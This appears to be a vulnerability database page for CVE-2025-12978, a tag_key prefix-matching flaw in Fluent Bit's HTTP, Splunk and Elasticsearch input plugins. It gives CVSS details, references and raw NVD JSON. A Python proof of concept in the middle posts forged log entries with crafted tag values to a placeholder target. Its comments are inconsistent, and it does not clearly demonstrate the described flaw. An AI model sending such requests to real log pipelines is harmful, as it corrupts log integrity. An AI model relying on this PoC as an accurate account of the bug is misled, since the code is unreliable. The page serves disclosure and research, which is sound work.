CVE-2025-12978

Description

Fluent Bit in_http, in_splunk, and in_elasticsearch input plugins contain a flaw in the tag_key validation logic that fails to enforce exact key-length matching. This allows crafted inputs where a tag prefix is incorrectly treated as a full match. A remote attacker with authenticated or exposed access to these input endpoints can exploit this behavior to manipulate tags and redirect records to unintended destinations. This compromises the authenticity of ingested logs and can allow injection of forged data, alert flooding and routing manipulation.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:treasuredata:fluent_bit:4.1.0:*:*:*:*:*:*:* - VULNERABLE

Fluent Bit < 4.1.0 (in_http plugin)

Fluent Bit < 4.1.0 (in_splunk plugin)

Fluent Bit < 4.1.0 (in_elasticsearch plugin)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-12978 PoC - Fluent Bit tag_key Validation Bypass
# Target: Fluent Bit in_http plugin with tag_key configuration

import requests
import json

TARGET_URL = "http://target:2020/"
MALICIOUS_TAG = "admin"  # Bypass: matches 'admin' prefix in tag_key
PAYLOAD = {
    "key1": "value1",
    "key2": "value2",
    "tag_key": MALICIOUS_TAG,
    "fake_data": "injected_log_entry"
}

def exploit_tag_validation_bypass():
    headers = {
        "Content-Type": "application/json",
        "Authorization": "Basic <credentials>"
    }
    
    # Normal request that should be rejected
    response = requests.post(TARGET_URL, json=PAYLOAD, headers=headers)
    print(f"Status: {response.status_code}")
    print(f"Response: {response.text}")
    
    # Send multiple requests to inject forged logs
    for i in range(10):
        payload = {
            "log": f"FORGED_LOG_{i}",
            "tag_key": f"admin_{i}",  # Prefix matches, bypasses validation
            "timestamp": "2025-01-01T00:00:00Z"
        }
        requests.post(TARGET_URL, json=payload, headers=headers)

if __name__ == "__main__":
    exploit_tag_validation_bypass()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12978
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12978
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12978/
[4] VulDB https://vuldb.com/cve/CVE-2025-12978
[5] https://fluentbit.io/announcements/v4.1.0/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12978", "sourceIdentifier": "[email protected]", "published": "2025-11-24T15:15:46.873", "lastModified": "2025-11-28T15:21:42.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fluent Bit in_http, in_splunk, and in_elasticsearch input plugins contain a flaw in the tag_key validation logic that fails to enforce exact key-length matching. This allows crafted inputs where a tag prefix is incorrectly treated as a full match. A remote attacker with authenticated or exposed access to these input endpoints can exploit this behavior to manipulate tags and redirect records to unintended destinations. This compromises the authenticity of ingested logs and can allow injection of forged data, alert flooding and routing manipulation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:treasuredata:fluent_bit:4.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "4D0EA105-B741-4E44-828A-9300B09A7A79"}]}]}], "references": [{"url": "https://fluentbit.io/announcements/v4.1.0/", "source": "[email protected]", "tags": ["Release Notes"]}]}}